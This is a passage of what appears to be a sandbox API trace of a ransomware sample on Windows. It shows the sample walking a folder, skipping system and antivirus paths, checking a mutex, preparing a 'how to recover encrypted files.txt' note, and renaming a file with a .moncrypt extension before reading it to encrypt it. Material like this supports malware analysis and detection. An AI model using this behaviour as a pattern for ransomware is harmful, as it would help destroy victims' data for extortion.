ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0052.744] GetLastError () returned 0x2 [0052.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0052.745] GetLastError () returned 0x2 [0052.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.746] GetLastError () returned 0x2 [0052.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a408, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0052.746] GetLastError () returned 0x2 [0052.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.747] GlobalLock (hMem=0x440004) returned 0x550170 [0052.747] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.747] GlobalUnlock (hMem=0x440004) returned 0 [0052.747] GlobalLock (hMem=0x440004) returned 0x550170 [0052.747] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.747] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.747] GlobalUnlock (hMem=0x440004) returned 0 [0052.747] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.747] GlobalUnlock (hMem=0x44000c) returned 0 [0052.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.747] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.747] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.748] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.748] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a428, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.748] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.748] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.748] GlobalUnlock (hMem=0x44000c) returned 0 [0052.748] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.748] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.748] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.748] GlobalUnlock (hMem=0x44000c) returned 0 [0052.748] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.748] GlobalUnlock (hMem=0x440004) returned 0 [0052.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\radial\\") returned 0x3f [0052.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0052.750] GlobalLock (hMem=0x440004) returned 0x550170 [0052.750] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.750] GlobalUnlock (hMem=0x440004) returned 0 [0052.750] GlobalLock (hMem=0x440004) returned 0x550170 [0052.750] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.750] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.751] GlobalUnlock (hMem=0x440004) returned 0 [0052.751] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.751] GlobalUnlock (hMem=0x44000c) returned 0 [0052.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.751] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.751] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.751] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.751] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.751] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.751] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.751] GlobalUnlock (hMem=0x44000c) returned 0 [0052.751] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.751] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.751] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.751] GlobalUnlock (hMem=0x44000c) returned 0 [0052.751] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.751] GlobalUnlock (hMem=0x440004) returned 0 [0052.751] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.751] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0052.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0052.752] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.752] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.752] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.752] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.752] GlobalUnlock (hMem=0x440004) returned 0 [0052.752] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.752] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.752] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.752] GlobalUnlock (hMem=0x440004) returned 0 [0052.752] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.752] GlobalUnlock (hMem=0x44000c) returned 0 [0052.752] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.753] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.754] CloseHandle (hObject=0x18c) returned 1 [0052.754] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\я")) returned 1 [0052.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 0x54e240 [0052.755] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.756] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.756] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", dwFileAttributes=0x20) returned 1 [0052.756] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.moncrypt")) returned 1 [0052.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.757] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.757] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb75e [0052.757] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.757] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.759] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.759] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.759] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.759] GlobalUnlock (hMem=0x440004) returned 0 [0052.759] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.759] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.759] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.760] GlobalUnlock (hMem=0x440004) returned 0 [0052.760] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.760] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.760] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.760] GlobalUnlock (hMem=0x44000c) returned 0 [0052.760] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.760] GlobalUnlock (hMem=0x440004) returned 0 [0052.760] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.760] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.760] GlobalUnlock (hMem=0x440004) returned 0 [0052.760] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.760] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.760] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.760] GlobalUnlock (hMem=0x440004) returned 0 [0052.760] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, 